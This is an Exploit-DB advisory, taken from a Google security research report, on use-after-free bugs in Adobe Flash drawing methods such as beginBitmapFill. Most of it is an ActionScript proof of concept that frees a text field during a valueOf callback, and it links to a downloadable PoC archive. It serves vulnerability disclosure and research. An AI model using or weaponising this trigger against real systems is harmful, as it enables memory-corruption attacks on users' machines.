Adobe Flash - Drawing Methods 'this' Use-After-Free

EDB-ID:

37864


Platform:

Multiple

Published:

2015-08-19

Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return 777;
	} 

A sample fla and swf are attached.

Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37864.zip